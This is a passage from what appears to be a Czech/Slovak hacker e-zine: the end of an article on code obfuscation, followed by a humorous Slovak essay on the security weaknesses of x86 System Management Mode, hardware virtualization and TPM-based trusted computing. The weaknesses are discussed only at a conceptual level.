    přidávají metody obfuskace spoustu instrukcí. Jak je to ale potom
    s rychlostí kódu? Na dnešních procesorech, na rozdíl od nějakého
    80386, už nehraje samotný počet instrukcí takovou roli, snad jedině
    ve smyčkách, vykonávaných v řádu miliónů. Důležitějším faktorem je, jak
    program zachází s datovou cache procesoru, a to obfuskace většinou
    neovliňuje.




    Závěr


    Pokud jste zkoušeli volání obfuskované funkce
    v debuggeru, určitě jste si všimli, že k určení, co vlastně dělá,
    není potřeba studovat kód, stačí sledovat paměť (analyzovat data).
    Obfuskace instrukcí není všemocná právě proto, že pracuje jenom na
    úrovni instrukcí. Jinak řečeno, v první řadě to musí být design,
    který je těžké analyzovat, obfuskace je až doplňující prvek.



    Ideální by bylo mít nástroj, který pochopí, co
    vstupní kód dělá, a ten stejný algoritmus vygeneruje jednou z mnoha
    (tisíc, miliónů) možných cest. Implementovat ale něco takového je
    prakticky nemožné. Zajímavou cestou, jak se k tomu trochu přiblížit,
    je poskytnout obfuskátoru nějaké abstraktní vzory namísto
    konkrétního kódu, který by obfuskátor už generoval sám. Toto by ale
    bylo téma na jiný článek, protože jde o samostatnou metodu.



    MazeGen, mazegen (ryba) gmail (.bodka.) com


    návrat na obsah

    čo ty na to ? diskusia




    Mravný úpadok architektúry



    Prinajmenšom od roku 1982, keď svetlo sveta uzrel malý zázrak známy ako "Intel 80286",
    sa začala dodnes trvajúca epocha, v ktorej každé zlepšenie a rozšírenie možností našich
    (ne)verných (ne)osobných počítačov musí byť vtesnané do stále užšieho priestoru vymedzeného
    starobylou technológiou. Hovorím, samozrejme, o obávanej "spätnej kompatibilite", ktorú
    síce azda všetci chápeme z pohľadu všade vedúceho marketingu, prostej pohodlnosti, či
    niekedy dokonca nevyhnutnosti, ale aj napriek tomu v nás (ako v ľuďoch do veci trošku
    vidiacich i z tej technickej stránky) často vyvoláva nadbytok neblahých emócii. Je
    samozrejmé že technický pokrok si vyžiadal radikálne zmeny. A je rovnako samozrejmé že
    spomínané faktory si vyžiadali práve tú povestnú "spätnú kompatibilitu", teda aby zmeny
    boli všetko možné, len nie radikálne. Inu, rozpor chceného a nevyhnutného vyžadoval riešenie.
    A veruže aj vyriešený bol. Pýtate sa že ako? Nuž, tak ako bolo jedine možno... škaredo.
    Veľmi škaredo.


    Vývojári nových technológii ich chudáci museli navrhnúť tak, nech je "vlk sýty i ovca celá".
    Presnejší opis situácie vlka (veď načo mu krivdiť) skôr je, že neumiera od hladu. A čo ovečky?
    Stádo našich ovečiek je rado že má takého dobrého vlka, nebúri sa, veď ten vĺčik zas až toľko
    nežerie... a veď čože by sme ho, však tu odjakživa s nami žije, je pohodlnejšie nechať ho tak.
    A tak i tie novoty sú len natoľko nové, nakoľko byť musia, nie nakoľko by byť mohli. Takto to
    skutočne vyzerá azda v každej oblasti IT so spätnou kompatibilitou vs. vylepšeniami... v dobe,
    keď Windows pri každom štarte musí vyvolať démona emulujúceho bugy starších verzii, aby zle
    napísaný software naďalej fungoval. Exorcistov nieto, a keď sa aj nejaký zblúdenec ohlási, prvý
    končí na hranici.


    Potom nečudo, že za takýchto okolností sa o niektoré tieto polovičaté "novoty" sotvakto zaujímal.
    HW dizajnéri ich navrhli tak, že nevyhnutné minimum splnia, zdokumentovali natoľko, že mohli byť
    implementované, a tam to celé skončilo. Nebolo toho kto by verejne skúmal kvalitu implementácie
    aspoň za hranicu "ide to". Zvyčajne to bolo tak, že teista ďakoval Bohu, deista Prozreteľnosti
    a materialista Determinizmu, že sa v tom nemusia vŕtať.


    Lenže vieme, že takéto neprebádané technológie vytvárajú dokonalé podmienky aby boli zneužité.
    Robené sú špinavo, len "nech to ide", nikto o nich nepíše, chyby zostávajú neodhalené. Čo viac
    môže lawful evil hacker chcieť? Jednou takouto významnou kategóriou, s ktorou sa v bezpečnostnej
    komunite iba prednedávnom roztrhlo vrece, sú netradičné módy procesora. Poskytovali obrovské
    možnosti, často bez toho aby sa kvôli tomuto ocitli v príslušnej pozornosti. Keďže sa dnes o
    tejto téme konečne hovorí, bohužiaľ i mnoho realite vzdialeného balastu, myslím že by bolo vhodné
    oboznámiť čitateľov aspoň tak všeobecnejšie, že čo sú vlastne tieto nové (a aj nie veľmi nové)
    módy zač, čo umožňujú, aké predstavujú riziko, a proste prispieť aj troškou vlastného balastu.


    Toľko nemiestne literárny úvod, prejdime k veci.




    SMM


    Už v procesore Intel 80386 (vulgárne "triosemšestka"), mimochodom staršom než autor
    tohoto článku, sa nachádzal málo známy System Management Mód, zvyčajne titulovaný iniciálmi
    SMM. Je nepochopiteľné, že len skutočne nedávno sa začalo hovoriť o možnostiach jeho zneužitia.
    U tých paranoidnejších (o ktorých medzi čitateľmi isto nebude núdza) to môže oprávnene vyvolávať
    aj určité pochybnosti.


    O čo ide? 8086 bol ešte stroj kde "každý mohol všetko", žiadna ochrana ani nič podobné. Potom prišla
    "186ka" o ktorej síce kdekto čítal, že vraj existovala, ale nikto ju nikdy nevidel. Ďalší prírastok
    do rodiny, 80286, už priniesla zásadné zmeny. Nás z nich zaujíma hlavne možnosť bežať v rôzne privilegovaných
    módoch, možnosť zamedziť userom usierať si z jadra, teda tzv. "chránený mód". Tu už si nemohol
    ktorýkoľvek program zmyslieť že prevezme úplnú kontrolu nad strojom (teda aspoň teoreticky nie,
    v praxi zvyčajne ešte mohol). Ako som písal už v tom nepodarenom úvode, nebolo to vôbec elegantné,
    ale fungovalo to. V nastúpenom trende verne pokračoval aj ďalší potomok, procesor 80386. Ten priniesol
    skutočne zásadné zmeny v podobe vylepšeného chráneného módu, plne 32-bitového procesora, stránkovania
    pamäte, a tak ďalej. Z množstva fičúr sa ale lepšia polovica vôbec neuplatnila. Úrovne ochrany neboli dve
    ako by sa dnes zdalo logické, ale štyri, pričom tie stredné dve (ktoré mali slúžiť pre drivery a "privilegované
    programy") sa nikdy nevyužili, s výnimkou pár exotických vecí. Pribudlo elegantné hardwarové prepínanie
    procesov, majúce jedinú nevýhodu: bolo pomalšie než ručne spravené softwarové. Dodnes ešte musíme
    napĺňať registre pre toto hardwarové prepínanie procesov aj na architektúre AMD64 (kapitola sama o
    sebe) napriek tomu, že tam ho už ani len teoreticky nie je možné použiť. Nesmieme tiež opomenúť že stále
    bolo treba ďalšie režimy: pre spätnú kompatibilitu s 16-bitovým chráneným módom na 286, a s nechráneným
    "real" módom 8086, ktorý tu samozrejme už ale musel byť chránený, ale bez toho aby o tom vedel. To len
    tak na dokreslenie celkovej situácie. Keby som mal menovať všetky dobre mienené špeciality, ktoré nenašli
    využitie, asi by som článok zdvojnásobil. Bola to jednoducho nádhera.


    Čitateľa asi neprekvapí, že za danej výrazne skomplikovanej situácie už nepostačovali niektoré technológie, ktoré ešte na 8086 stačili. Na 8086 sme totiž ešte dôverovali všetkému čo na stroji beží,
    že sa to nebude biť s ničím iným (bezpečnosť asi vtedy ešte ani nebola otázkou). Na 80386 už prišlo
    do módy neumožniť mu to. A to vyžaduje technologicky v tom zabrániť.


    Konkrétne ide o potreby BIOSu. On BIOS vôbec nie je taká zázračná vecička za akú býva niekedy pokladaný.
    Je to obyčajný kus kódu, ktorý je špecifický snáď len tým že jeho autori
    detailne poznajú hardware počítača (resp. dosky, chipsetu) a je na nich správne ho pripraviť a nastaviť
    do formy v ktorej s ním už dokáže pracovať aj operačný systém. Ak by sme my mali tieto údaje (a veľa z
    nich je predsa len prístupných), spokojne by sme mohli tento kód nahradiť našim vlastným. Lenže tým že
    sa inicializuje HW a riadenie odovzdá operačnému systému to pre BIOS zďaleka nekončí, ako by sa mohlo
    laikovi javiť. Je síce pravda, že (známejšia) časť jeho agendy postupne prechádzala na operačné systémy
    (typicky grafika, užívateľský vstup, prístupy k disku, ...), ale veľa mu zostalo (grafika keď nemáme
    ovládač, power management, emulácia moderného HW pre staré štandardy, monitoring HW...). Na toto BIOS
    potrebuje schopnosť kedykoľvek prerušiť beh programu alebo aj kernelu a vykonať nejaký svoj kód.
    Pri 8086 na to slúžil systém prerušení, ktorý sa (ako všetko) zachoval v značne skomplikovanej forme
    aj v procesoroch 80386. Veľká časť agendy BIOSu na nich aj zostala. Lenže nemohlo všetko. Niektoré veci
    potrebovali nutne bežať i vtedy, keď sa operačný systém práve neuráčil správne nastaviť a povoliť
    prerušenia. Čo iné mohlo byť za spomenutej situácie samozrejmejším riešením, než spraviť ďalší zvláštny
    mód procesora?


    Týmto módom je System Management Mód. Pre tento mód je vyhradený kus RAMky, nazývaný SMRAM, kam BIOS veľmi
    skoro pri štarte počítača nahrá svoj kód. Akonáhle sa stane nejaká udalosť, ktorá vyžaduje takéto zvláštne
    spracovanie, vyvolá sa tzv. System Management Interrupt (SMI). Toto spôsobí že procesor preruší svoju
    momentálnu činnosť, uloží svoj stav do SMRAM, prepne sa do SMM režimu, vykoná kód uložený v SMRAM, a
    nakoniec obnoví uložený stav a pokračuje v pôvodnej činnosti. Od bežných prerušení sa ale odlišuje tým,
    že toto všetko sa deje úplne neviditeľne pre operačný systém, ktorý ani netuší že sa niečo stalo.
    Táto priehľadnosť je príkladom toho o čom som písal v úvode. Operačnému systému to plne vyhovuje že z
    jeho pohľadu sa nič nemení, o nič sa nemusí starať, a BIOS má možnosť spraviť si čo potrebuje bez toho
    že by musel brať ohľad na operačný systém. Pochopiteľne že samotný SMM kód má úplnú kontrolu nad strojom.


    To je všetko fajn, a aj keď je to trochu nesystematický ojeb, účel to plní pekne. Potiaľ v poriadku. Ale keď si uvedomíme, že sa jedná o režim pre systém úplne neviditeľný, s totálnymi právami robiť si s
    mašinou čo sa mu zachce, o ktorom sa vie veľmi málo a je dosť náročné vôbec zistiť čo ten SMM
    kód "na mojej mašine" robí, tak paranoikom opadne eufória a naopak zlí škaredí nadopovaní hackeri
    začnú nekontrolovateľne vylučovať telesné tekutiny.


    Aby sa nedal tento mód tak ľahko zneužívať, po tom ako BIOS zapíše svoj bordel do SMRAM, hardvér mu
    umožňuje zakázať procesoru akýkoľvek ďalší prístup do SMRAM (okrem SMM samozrejme). To má zabezpečiť
    absolútnu následnú izoláciu SMM kódu od bežného kódu, ochrániť ho pred akoukoľvek ďalšou manipuláciou.
    Lenže to môže byť aj dvojsečná zbraň. Hlavne v situácii (reálnej), keď sa žiadny z tvorcov firmwaru
    neunúval toto zamknutie aj skutočne vykonať. Veď nakoniec, načo. Tajné to síce nebolo, ale nikto sa
    im v tom nevŕtal. A ak sa niekto vŕtal, tak s tým na verejnosť nešiel.


    Verejne hovoriť sa o možnosti zneužitia SMM začalo až v roku 2006. To spôsobilo že výrobcovia firmwaru
    začali konečne SMRAM zamykať. Ale to stále problém neriešilo. Nebudem tu zachádzať do detailov, ale kto
    videl ako vyzerá programovanie chipsetu, ten vie že nastaviť všetky možné registre tak, aby prístup do
    určitého regiónu RAMky nebol možný, je dosť kumšt. Nebolo teda prekvapením, keď sa čoskoro objavilo
    niekoľko trikov ktoré umožnili SMRAM prepisovať aj napriek tomu, že bola zamknutá. Alebo stačilo nájsť
    chybu v málo preskúmanom SMM kóde, ktorý SMRAMku (teda sám seba) samozrejme môže prepisovať a pekne po
    starom ju exploitnúť. Objavené chyby boli síce na nových doskách opravené, ale potom niekto prišiel
    na to, že SMRAM ani prepisovať netreba. Stačí podvrhnúť vlastný kód do CPU L1 cache na adresu, kde
    normálne býva SMRAM. Potom pri SMI sa CPU poteší že pamäť z ktorej ide SMM kód vykonávať už má v cache,
    nemusí ju zdĺhavo čítať z fyzickej RAMky. Že v tej ozajstnej SMRAM je niečo iné ako v cache, to procesor
    netuší. A skutočný obsah SMRAM vo fyzickej RAMke zostáva zamknutý, neprístupný, nikto sa ju nesnaží
    prepisovať. Idyla.


    Nakoniec situácia vyzerá tak, že celý tento 25 rokov starý systém je od základu zle navrhnutý,
    a napriek viacerým pokusom ho nie je možné poriadne zaplátať. Že sme si to všimli až teraz, zostáva
    témou na zamyslenie. Ja časť viny pripisujem tej žumpe, ktorú musí každý zvedavec preplávať aby
    vôbec pochopil tento mechanizmus a mohol ho začať skúmať z bezpečnostného hľadiska. A ako to Intel
    rieši? Čuduj sa svete, navrhuje *ďalšiu* paralelnú technológiu (SMM Transfer Monitor, STM), ktorá sa
    bude starať o bezpečnosť SMM kódu. Podľa niektorých správ by sa malo jednať o spúšťanie SMM kódu v
    nejakom virtualizovanom prostredí. Presne netuším, zodpovedné špecifikácie ešte neboli vydané a
    patent sa mi čítať nechce (aj tak to budú len vzletne opísané všeobecnosti úrovne dvojkliku myšou,
    natoľko obfuskované aby sa úradníkom na patentovom úrade zdali ako nejaký nový výmysel). Každopádne
    ja osobne by som nedal ľavé vajco do ohňa za to, že nedopadne podobne ako všetky predchádzajúce
    "riešenia".




    Hardwarová virtualizácia


    Ďalšou zaujímavou technológiou s podobnými schopnosťami je hardwarová virtualizácia. O čo ide?


    V IT sa stále viac rozmáhalo použitie "virtuálnych strojov", teda programov ako VMWare, Xen, atď,
    ktoré umožňujú na jednom počítači spustiť viacero "virtuálnych" počítačov. Vysvetľovať to tu dúfam nemusím, prax asi väčšina čitateľov pozná omnoho lepšie než ja. Zo začiatku to bolo samozrejme ešte riešené plne softwarovo.
    Výkon týchto programov nebol vždy uspokojivý, a vytvorenie takéhoto programu na 80x86 bolo
    značne netriviálne (keby som nepísal seriózny článok, tak poviem, že je s tým strašná jebačka), takže
    sa zrodila myšlienka spraviť podporu pre túto virtualizáciu priamo v hardwari (najmä v procesore).
    Táto by mala byť jednak výrazne zjednodošiť vývoj podobného softwaru, a tiež zvýšiť jeho výkon.


    Ako prvý na poli x86 takúto technológiu predstavil AMD, pod názvom "Secure Virtual Machine" ("SVM",
    taktiež "AMD-V", "Pacifica"). Intel čoskoro nasledoval s dosť podobnou, ale nekompatibilnou technológiou,
    nazvanou "Virtual Machine Extensions" ("VMX", tiež "VT-x", "Vanderpool"). Treba však podotknúť že
    prvé verzie od Intelu boli čo do schopností o poznanie chudobnejšie než tie od AMD a len postupne
    boli doplnené niektoré dosť podstatné prvky (technológie EPT, VT-x2, ...). Ďalšou zaujímavosťou je
    že pôvodne bola hardwarová virtualizácia s využitím týchto technológii často pomalšia než dobre
    spravená softwarová virtualizácia, ale teória je, že HW implementácia sa bude postupne zrýchľovať.


    Toľko pohľad "zhora", ktorý nás až tak nezaujíma. Teraz skúsim stručne popísať ako táto technológia
    pracuje "naozaj" na procesore. Akonáhle sa procesor rozhodne že chce virtualizovať, musí sa najprv
    prepnúť do zvláštneho módu, v ktorom bude "pánom veci" počas celého behu virtualizácie. Tento software
    budem ďalej nazývať v podľa Inteláckej hantýrky "Virtual Machine Monitor" (VMM). VMM si pre každý
    virtuálny stroj (VM) ktorý chce spravovať vytvorí štruktúru, v ktorej je popísaný úplný stav tohoto
    virtuálneho stroja (hodnoty všetkých registrov procesora, nastavenie právomocí VM, a podobne). Keď
    sa rozhodne, niektorý takýto VM spustí, a nechá ho bežať priamo na procesore. VM beží v režime len
    málo odlišnom od normálneho behu bez virtualizácie. Rozdiel je len v tom že pri behu je VM obmedzená
    v určitých veciach: môže pristupovať len k zdrojom (pamäti, HW zariadeniam) ktoré sú jej povolené,
    nemôže robiť niektoré činnosti ktoré by mohli zasiahnuť do VMM, a podobne. Akonáhle sa VM pokúsi
    spraviť niečo čo sa vymyká normálnemu behu, jeho beh sa preruší, a riadenie sa odovzdá naspäť do VMM.
    Ten zistí čo sa stalo a rozhodne sa čo spraví. Zvyčajne pre VM emuluje správanie očakávané pri bežnom
    behu mimo virtualizácie. Keď sa napríklad VM pokúsi pristúpiť do pamäte ktorá mu nepatrí, VMM mu
    emuluje správanie ako keby taká pamäť neexistovala. Keď sa VM pokúsi čítať zo svojho virtuálneho disku,
    riadenie dostane VMM, ten prečíta dáta z ozajstného fyzického disku a preloží ich do formátu v akom
    ich očakáva VM. A tak podobne.


    VMM si okrem toho môže nadefinovať niektoré ďalšie udalosti pri ktorých sa beh VM preruší, a riadenie
    sa odovzdá jemu. Typickým príkladom je časovač. Ak VMM má pod sebou viacero VM, ktoré chce bežať
    pseudo-naraz, tak musí v pravidelných intervaloch beh VM prerušovať a odovzdať riadenie inej VM.
    Množina týchto udalostí pri ktorých VMM vie beh VM prerušiť je však vcelku obmedzená na tie, ktoré
    sú užitočné pri bežnej virtualizácii typu VMWare alebo XEN.


    Táto technológia umožňuje spraviť taký VMM, ktorý bude zaberať minimum pamäte (zopár KB), a tiež
    spomalenie ním spôsobené (oproti behu bez virtualizácie) bude prakticky nepostrehnuteľné. Myslím že z
    tohoto opisu je jasné, že aj táto technológia sa dá veľmi pekne či škaredo zneužiť na malware.
    Malware (samozrejme, až keď už má roota) spraví zo seba VMM, a vytvorí VM ktorá bude identická s
    normálnym systémom predtým než bol napadnutý. Takpovediac, "zavrie" operačný systém do VM a on
    zostane "pánom" (VMM). Toto všetko ide urobiť bez nutnosti reštartu, alebo bez akýchkoľvek viditeľných
    príznakov. Malware tým pádom zostane mimo dosahu pôvodného operačného systému bežiaceho vo VM.


    Skutočne je to pre malware veľmi lákavá predstava. Lenže, ako všetko, má to pár chytákov:


    Za prvé, metóda je obmedzená len na počítače podporujúce virtualizáciu. Je síce pravda že podiel
    týchto sa neustále zväčšuje, ale stále sa ani zďaleka nejedná o pravidlo. Navyše, samotná virtualizácia
    musí byť v BIOSe povolená (zvyčajne býva by-default zakázaná). Toto je vec, ktorá sa síce dá obísť,
    lenže iba dosť pracne a výhody virtualizácie sa tým z časti strácajú.


    Za druhé, malware najprv nejako musí "tradičným spôsobom" dostať stroj pod kontrolu, a až potom
    môže začať robiť spomenuté. Virtualizácia teda neznamená nejakú novú možnosť obísť bežné ochrany,
    tie treba stále prekonať. Virtualizácia tu len poskytuje omnoho lepšie podmienky následne sa skryť a
    zostať neodhalený. Treba ešte povedať že je pre malware vcelku náročne "zahľadiť po sebe stopy",
    ktoré nutne zanechal pred tým než sa dostal do pozície VMM.


    Za tretie, virtualizačná technológia nie je stavaná pre takéto účely, mnoho funkcionality ktorú
    by malware potreboval jednoducho nemá a teda ju musí komplikovane nahrádzať (alebo to nedokáže
    vôbec).


    Za štvrté, akonáhle je malware (ako VMM) "nad" operačným systémom (ktorý beží vo VM), nemôže už služby
    operačného systému využívať. To znamená že nemá žiadne ovládače, nemá prístup na disk, k sieti
    a podobne. Ako to po vysvetlení zhodnotil jeden známy: "je úplným pánom nad vecou, ktorý ale reálne
    nič nemôže spraviť". Prísne vzaté, malware ako VMM sa môže rozhodnúť využiť operačný systém vnútri
    ním ovládaného VM, tým sa ale (aspoň zčasti) dobrovoľne zbavuje výhod ktoré virtualizáciou získal.
    A tiež sú s tým spojené nejaké technické problémy, aj keď prekonateľné.


    Druhou veľkou témou je ne/možnosť detekcie takéhoto malwaru. Keď sa začalo hovoriť o možnostiach
    využitia virtualizácie pre malware, väčšina médii v duchu sebe vlastnej zodpovednosti rozširovala
    riadne nadsadené tvrdenie o "100% nedetekovateľnosti" takéhoto malwaru. Toto bolo následne presunuté
    do roviny "100% nedetekovateľné bežnými metódami", a debata sa potom presunula k ne/možnosti
    automatizovane odlíšiť beh pod "normálnym" hypervízorom (napr. Xen) od behu pod malwarom. Vcelku
    možno povedať že zistiť či systém beží ako VM alebo nie sa určite dá, aj keď nie práve triviálne
    (ale zase ani nijako extra zložito). Je to spôsobené tým, že virtualizácia je stavaná na to, aby VM
    bežala čo najefektívnejšie, nie aby bola emulácia dokonalá a fakt, že beží virtualizovane, utajený.


    Virtualizácia na CPU ale nie je všetko. Aj keď sú veci čo bežia na CPU plne pod kontrolou VMM, ešte
    stále je to, čo sa vykoná, závislé od pamäte. A do pamäte nezapisuje len CPU. Predstavme si, že
    napríklad pri čítaní z disku do pamäte by musel každý byte ísť cez CPU - asi by to nebolo bohviečo
    (kto neverí môže to skúsiť, pokiaľ viem ovládače dodnes umožnujú takýto režim použiť - volá sa to
    "PIO mód"). Preto Pé Cé architekti stvorili technológiu, ktorú pokrstili Direct Memory Access, DMA.
    Táto umožnuje rôznym zariadeniam zapisovať priamo do pamäte, bez toho že by sa o to procesor staral.


    Týmto spôsobom je možné obíjsť VMM. Ak sa niektoré zariadenie na doske rozhodne zapísať do
    pamäte cez DMA, môže to urobiť bez toho, že by sa o tom VMM dozvedel. A čo keď sa rozhodne prepísať
    kód VMM v pamäti? Prúser. Toto je jeden zo spôsobov ako sa može VM "prebiť" von z VMM - ak vie
    kde v pamäti sa VMM nachádza, môže ho cez DMA prepísať. VMM dokáže zabrániť VM takto zneužiť DMA,
    ale to už spadá do kategórie tej funkcionality, ktorá sa implementuje náročnejšie. A navyše,
    ktorékoľvek zariadenie napojené na DMA sa môže rozhodnúť toto spraviť aj samo. Ibaže tomuto
    zabrániť treba. Nielen pri malwari, ale aj pri bežnej virtualizácii. Nemôžeme predsa dovoliť
    ktorejkoľvek VM zhodiť celý stroj.


    Ako to riešiť? Tušíte správne: Ďalšia technológia. Stačí posadiť ďalšie železo medzi pamäť, DMA,
    a ostatné zariadenia, ktoré sa bude starať o to aby nikto nepristupoval kam nemá. Nazýva sa to
    "Input/Output Memory Management Unit" (IOMMU), Intel to u seba zahŕňa do technológie
    "Virtualization Technology for Directed I/O" (VT-d). Toto opäť zväčšuje chaos, robí celý ten
    komplex menej zrozumiteľným, a rozširuje priestor pre čiernoklobúčnych hackerov na ich diabolské
    plány ovládnutia našich počítačov.




    Technológie súvisiace s Trusted Computing


    Veľa sa kričalo o tom, ako IT buržoázia pomocou rôznych vlád (ktoré sú objektívne iba nástrojom na
    presadzovanie jej triednych záujmov maskovaným za formálnu parlamentnú, čiže protiľudovú demokraciu)
    túži naplniť svoje imperialistické chúťky zavedením počítačov, ktoré "budú poslúchať ju a nie svojich vlastníkov". A nie že by na tom nebol kus pravdy, lenže je treba prihliadnuť aj na to, čo je skutočne možné. Druhá strana zase naopak tvrdí že im ide len o nesebecké uplatnenie odvekých ideálov slobody
    zabezpečením primeranej odmeny pre tvorcov intelektuálnych hodnôt, ktorá motivuje iniciatívu
    nevyhnutnú pre ďalší pokojný postupný evolučný rozvoj. A nie že by na tom tiež nebol kus pravdy, ale
    tu zase treba prihliadnuť na to, či toto je skutočne hlavným cieľom a či naozaj smerujú k tomu, čo
    deklarujú. Nebudem tu ďalej rozoberať túto "politickú" stránku, ale popíšem ako vyzerá to, čo sa zatiaľ
    v tomto smere vykonalo.


    Najznámejšia "naozajstná" vec zo všetkého toho sci-fi publikovaného na túto tému je "Trusted Platform
    Module" (TPM) čip. Keď sa hovorilo že je to nejaky čip ktorý ovláda celý počítač, ku ktorému má
    plný prístup iba Microsoft alebo kto, tak je to v podstate kravina. TPM Je len taký malý čípok,
    čípičok, či ako sa to správne zdrobňuje, v ktorom je uložený nejaký ten tajný kľúč (ten si nastaví vlastník
    počítača a potom ho nikto iný nevie zmeniť) a ktorý vie hashovat + de/šifrovať dáta. TPM je pasívny
    čip, sám od seba nerobí nič, a keď nechceme vôbec ho nemusíme používať. Teda nie je to tak že na počítač
    s TPM nebudeme môcť nainštalovať linux, alebo podobne. Nové dosky TPM majú a ani o tom nevieme.


    Ako teda môže Takáto Primitívna Mašinka slúžiť či už na navodenie "čipovej totality", resp.
    zabezpečiť dodržiavanie "digitálnych práv"? V skratke je princíp ten, že pomocou TPM robíme hash
    kódu, ktorý sa bude vykonávať a potom tento hash používame na šifrovanie a dešifrovanie dát.
    Veľmi dôležité je, že tento hash, uložený v TPM, nevieme nijako cielene nastaviť ani prečítať, jediná
    operácia, ktorú máme, je tzv. "rozšírenie", čo znamená že sa spraví hash z predchádzajucej hodnoty
    hashu plus ďalších dát. Inak tým hashom môžeme už len šifrovať a dešifrovať. Akonáhle sa nejako zmení
    kód, ktorý sa ide vykonávať, tak sa zmení aj jeho hash a tým pádom dáta zašifrované iným hashom už
    nevieme dešifrovať. A nevieme ani obnoviť hodnotu registra v ktorom je hash na tú pôvodnú. Navyše
    ani nevieme aká bola pôvodná hodnota, pretože do tohoto hashu vstupuje aj tajný kľúč uložený iba
    v TPM. Teda ani keď poznáme dáta ktoré sú hashované, nevieme hash zreplikovať a teda nepoznáme
    správny kľúč na dešifrovanie. Čo sme raz zašifrovali pomocou TPM, to dokážeme dešifrovať zase len
    pomocou TPM s tým istým tajným kľúčom, keď mu dáme zahashovať presne tie isté dáta v tom istom poradí.


    Ako funguje to hashovanie v praxi, čo sú dáta ktoré sa hashujú? Využitie môže byť rôzne, pre lepšie
    pochopenie uvediem zjednodušený praktický scenár:


    BIOS veľmi skoro pri spúšťaní urobí TPM hash celého BIOS kódu. S týmto hashom zatiaľ nerobí nič. Keď
    BIOS skončí so svojimi vecami a ide odovzdať riadenie boot loaderu operačného systému, rozšíri hash v TPM hashom boot loaderu, a až potom mu odovzdá riadenie. Boot loader zase rozšíru hashom operačného systému, operačný systém rozšíri hashom driverov, atď, atď. Výsledným hashom potom operačný systém zašifruje
    nejaké dáta. Ak sa znovu spustí nezmenený operačný systém, TPM po reboote hashuje tie isté dáta, a
    teda má rovnaký výsledný hash, ktorým dáta dešifruje. Ak však niekto nejaký kód zmení (patchnutý BIOS,
    MBR rootkit, zmenený kernel, atď.), tak hashované dáta budú iné, a výsledný hash už nebude sedieť - čo
    znamená že dáta už nedokážeme dešifrovať.


    Celý tento proces sa volá "Static Root of Trust Measurement" (SRTM, "measurement" tu je len všeobecným
    výrazom pre hashovanie). V tomto zmysle TPM skutočne umožňuje niečo čo môžeme spokojne nazvať
    "Trusted Computing". Užívateľ si môže zašifrovať svoje... citlivé dáta, a keď sa niečo na
    jeho počítači zmení (napríklad NBÚ mu na žiadosť FBI nainštaluje sledovací rootkit), tak dáta sa
    stanú neprístupné.


    Priamo teda tento systém neslúži na nejaké ovládnutie našich počítačov korporáciami, ani nám nemôže
    zabrániť používať naše počítače na čo chceme. Naopak, rozširuje naše možnosti detekovať zásah do počítača
    niekým iným. Čo ale dokáže "smerom" k DRM je "zapečatenie" dát tak že keď niečo zmeníme tak sa po ne
    nedostaneme, a taktiež umožnuje tretej strane overiť či sme konfiguráciu menili. Toto umožňuje vytvoriť
    DRM, a preto to ľudia typu Stallmana tak vehementne odmietajú. Vyzeralo by to asi tak že tajný
    klúč v TPM nám nastaví už dodávateľ počítača, a predinštaluje "trusted" systém (teda verí mu on, nie
    my). Potom rôzne tretie strany pomocou challenge-response schémy môžu pri komunikácii cez sieť
    overovať či je systém nezmenený. Poprípade sa operačný systém celkom odmietne nabootovať ak zistí že
    bol nejako menený. Človek by samozrejme stále mohol komplet starý systém zahodiť, vykašľať sa na
    celý TPM, a nainštalovať si svoj OS. Tomu by v úplnom extréme išlo zabrániť tak že by BIOS odmietol
    odovzdať riadenie boot loaderu ak by v ňom zistil zmenu, ale to pri bežných domácich počítačoch nevidím reálne (museli by to spraviť
    výrobcovia firmwaru, a otázka je či by potom od nich niekto také počítače kupoval).


    Humorné na tom všetkom je, že z určitého pohľadu sa situácia veľkou okľukou za pribudnutia množstva
    nových technológii vrátila tam, kde bola na 8086ke keď veci ešte fungovali "primitívne jednoducho":
    teda že všetok software ktorý na mašine beží musí byť "trusted", že neurobí niečo čo nemá. Pribudlo len
    overovanie tohoto predpokladu. Navyše aby toto overovanie malo zmysel, overiť sa musí vlastne úplne
    všetok kód čo na stroji pobeží. Pri takomto obrovskom množstve kódu ktorý je overovaný, fakt že mu nejaký
    vendor (RIAA alebo kto) "verí" je úplne zanedbateľný. Milióny riadkov "trusted" kódu nevyhnutne obsahujú
    bugy, a na tých potom celá ochrana padá. Ako DRM systém je teda SRTM okrem riadnej orwellovskosti (čo
    je pri prehýčkanosti konzumentov dosť závažné) aj pramálo spoľahlivé. A samozrejme že sa našli aj chyby
    priamo v technólogii, napr. že TPM bolo možné resetnúť (teda aj TPM registre v ktorých je uložený hash)
    aj bez resetu počítača, a potom už nebol problém dať mu zahashovať kód aký by hashoval za normálneho
    štartu, len ho nevykonať. Alebo šlo použiť mechanizmus ktorý bežne slúži na flashovanie BIOSu, pri
    ktorom sa počítač (vrátane TPM) resetne, lenže sa nezačne vykonávať BIOS kód, ale kód uložený na inom
    mieste v pamäti, ktorý do hashu nevstupuje. Alebo jednoducho patchnúť kód BIOSu ktorý úplne na začiatku
    robí prvý TPM hash (v predvedenom útoku to vyžadovalo zmenu až jedného bytu). Alebo pri overovaní
    cez net klasicky man-in-the-middle nechať overenie vykonať na stroji s ktorým nebolo haprované, ale
    zvyšok komunikácie viesť z iného stroja. A to ešte nespomínam tú nie príliš teoreticky doriešenú srandu,
    keď užívateľ potrebuje legitímne niečo z hashovaného kódu zmeniť (BIOS update, update OS, nová grafická
    karta...).


    SRTM teda (jemne povedané) zlyhalo, aspoň na bežné používanie (na špecializované použitie stále môže
    byť užitočné). Dizajnéri si asi povedali "Ná, totok nevyšlo, čo fčul"? A samozrejme, riešenie sa rýchlo
    objavilo. Každému kto článok prečítal až potiaľto musí byť jasné aké: ĎALŠÍ, ešte bezpečnejší, ešte
    izolovanejší mód, do ktorého "tentokrát už naozaj" nepôjde zasiahnuť zvonku. U Intelu sa nový mód volá
    "Safer Mode Extensions" (SMX) vrámci technológie "Trusted Execution Technology" (TXT), u AMD neviem že
    by ten mód mal nejaký zvláštny názov, používa sa názov príslušnej inštrukcie SKINIT, a je to vrámci tej
    istej technológie ako virtualizácia, "Secure Virtual Machine" (SVM).


    Tento umožňuje, stručne povedané, v ľubovolnom momente v behu untrusted systému pomocou špeciálnej inštrukcie a kódu previesť ho to trusted stavu. Ako argument inštrukcie dáme rozsah pamäte v ktorom sa
    nachádza tzv. AC (authentificated code) modul. Okrem samotného kódu AC modulu nič z predchádzajúceho stavu
    počítača do tohoto módu nevstupuje, je to takmer ako keby sme počítač resetli. V tomto móde by sme
    mali byť úplne izolovaní a mať istotu že nikto a nič až do ukončenia AC modulu nebude môcť nejako
